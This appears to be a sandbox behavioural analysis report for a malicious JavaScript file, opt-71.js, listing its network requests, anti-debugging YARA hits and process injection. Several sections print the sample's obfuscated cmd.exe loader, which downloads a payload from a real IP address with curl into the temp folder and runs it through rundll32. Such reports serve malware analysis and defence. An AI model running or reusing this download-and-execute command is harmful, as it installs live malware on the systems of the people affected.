opt-71.js

Command line console output was observed (4 events)

Time & API	Arguments	Status	Return	Repeated
WriteConsoleW Oct. 17, 2023, 10:35 a.m.	buffer: 'ttk' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x0000000b	1	1	0
WriteConsoleW Oct. 17, 2023, 10:35 a.m.	buffer: ttk console_handle: 0x00000007	1	1	0
WriteConsoleA Oct. 17, 2023, 10:35 a.m.	buffer: Ping request could not find host ttk. Please check the name and try again. console_handle: 0x00000007	1	1	0
WriteConsoleA Oct. 17, 2023, 10:35 a.m.	buffer: Ping request could not find host ttk. Please check the name and try again. console_handle: 0x00000007	1	1	0

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

Connection to IP address

suspicious_request

GET http://89.147.111.46/gWUA/Enven

Performs some HTTP requests (2 events)

request	GET http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt
request	GET http://89.147.111.46/gWUA/Enven

Creates a suspicious process (2 events)

cmdline	cmd.exe /c ttk || ecHO ttk & piNg ttk || CuRl http://89.147.111.46/gWUA/Enven -o %TmP%\ttk.log & piNg -n 2 ttk || rundLl32 %TMp%\ttk.log scab /k haval462 & ExiT EAfLoHcktGDs
cmdline	"C:\Windows\System32\cmd.exe" /c ttk || ecHO ttk & piNg ttk || CuRl http://89.147.111.46/gWUA/Enven -o %TmP%\ttk.log & piNg -n 2 ttk || rundLl32 %TMp%\ttk.log scab /k haval462 & ExiT EAfLoHcktGDs

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Oct. 17, 2023, 10:35 a.m.	show_type: 0 filepath_r: cmd.exe parameters: /c ttk || ecHO ttk & piNg ttk || CuRl http://89.147.111.46/gWUA/Enven -o %TmP%\ttk.log & piNg -n 2 ttk || rundLl32 %TMp%\ttk.log scab /k haval462 & ExiT EAfLoHcktGDs filepath: cmd.exe	1	1	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Oct. 17, 2023, 10:35 a.m.	flags: 15 family: 0		111	0

Yara rule detected in process memory (9 events)

description	(no description)				rule	DebuggerCheck__GlobalFlags
description	(no description)				rule	DebuggerCheck__QueryInfo
description	(no description)				rule	DebuggerHiding__Thread
description	(no description)				rule	DebuggerHiding__Active
description	(no description)				rule	DebuggerException__SetConsoleCtrl
description	(no description)				rule	ThreadControl__Context
description	(no description)				rule	SEH__vectored
description	Checks if being debugged				rule	anti_dbg
description	Bypass DEP				rule	disable_dep

Uses Windows utilities for basic Windows functionality (4 events)

cmdline	piNg -n 2 ttk
cmdline	cmd.exe /c ttk || ecHO ttk & piNg ttk || CuRl http://89.147.111.46/gWUA/Enven -o %TmP%\ttk.log & piNg -n 2 ttk || rundLl32 %TMp%\ttk.log scab /k haval462 & ExiT EAfLoHcktGDs
cmdline	"C:\Windows\System32\cmd.exe" /c ttk || ecHO ttk & piNg ttk || CuRl http://89.147.111.46/gWUA/Enven -o %TmP%\ttk.log & piNg -n 2 ttk || rundLl32 %TMp%\ttk.log scab /k haval462 & ExiT EAfLoHcktGDs
cmdline	piNg ttk

Communicates with host for which no DNS query was performed (1 event)

host	89.147.111.46

Wscript.exe initiated network communications indicative of a script based payload download (1 event)

Time & API	Arguments	Status	Return	Repeated
WSASend Oct. 17, 2023, 10:35 a.m.	buffer: GET /repository/SSLcomRootCertificationAuthorityRSA.crt HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: www.ssl.com socket: 960		0	0

Network communications indicative of a potential document or script payload download was initiated by the process wscript.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
WSASend Oct. 17, 2023, 10:35 a.m.	buffer: GET /repository/SSLcomRootCertificationAuthorityRSA.crt HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: www.ssl.com socket: 960		0	0

One or more non-whitelisted processes were created (2 events)

parent_process	wscript.exe				martian_process	"C:\Windows\System32\cmd.exe" /c ttk || ecHO ttk & piNg ttk || CuRl http://89.147.111.46/gWUA/Enven -o %TmP%\ttk.log & piNg -n 2 ttk || rundLl32 %TMp%\ttk.log scab /k haval462 & ExiT EAfLoHcktGDs
parent_process	wscript.exe				martian_process	cmd.exe /c ttk || ecHO ttk & piNg ttk || CuRl http://89.147.111.46/gWUA/Enven -o %TmP%\ttk.log & piNg -n 2 ttk || rundLl32 %TMp%\ttk.log scab /k haval462 & ExiT EAfLoHcktGDs

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Process injection	Process 2552 resumed a thread in remote process 2700
Time & API	Arguments	Status	Return	Repeated
NtResumeThread Oct. 17, 2023, 10:35 a.m.	thread_handle: 0x000004e8 suspend_count: 1 process_identifier: 2700	1	0	0

The process wscript.exe wrote an executable file to disk which it then attempted to execute (1 event)

file	C:\Windows\System32\cmd.exe